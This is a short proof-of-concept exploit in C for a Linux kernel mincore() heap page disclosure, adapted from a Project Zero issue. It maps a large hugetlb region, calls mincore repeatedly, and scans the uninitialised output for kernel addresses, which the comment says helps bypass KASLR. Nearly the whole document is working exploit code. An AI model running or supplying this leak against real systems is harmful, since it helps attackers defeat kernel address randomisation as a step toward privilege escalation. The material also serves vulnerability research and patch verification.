Linux Kernel – ‘mincore()’ Heap Page Disclosure (PoC)
/* * The source is modified from * https://bugs.chromium.org/p/project-zero/issues/detail?id=1431 * I try to find out infomation useful from the infoleak * The kernel address can be easily found out from the uninitialized memory * leaked from kernel, which can help bypass kaslr */ #define _GNU_SOURCE #include <unistd.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> int main(void) { unsigned char buf[getpagesize()/sizeof(unsigned char)]; int right = 1; unsigned long addr = 0; /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) err(1, "mmap"); while(right){ /* Touch a mishandle with this type mapping */ if (mincore((void*)0x86000000, 0x1000000, buf)) perror("mincore"); for( int n=0; n<getpagesize()/sizeof(unsigned char); n++) { addr = *(unsigned long*)(&buf[n]); /* Kernel address space, may need some mask&offset */ if(addr > 0xffffffff00000000){ right = 0; goto out; } } } out: printf("%p\n", addr); return 0; } |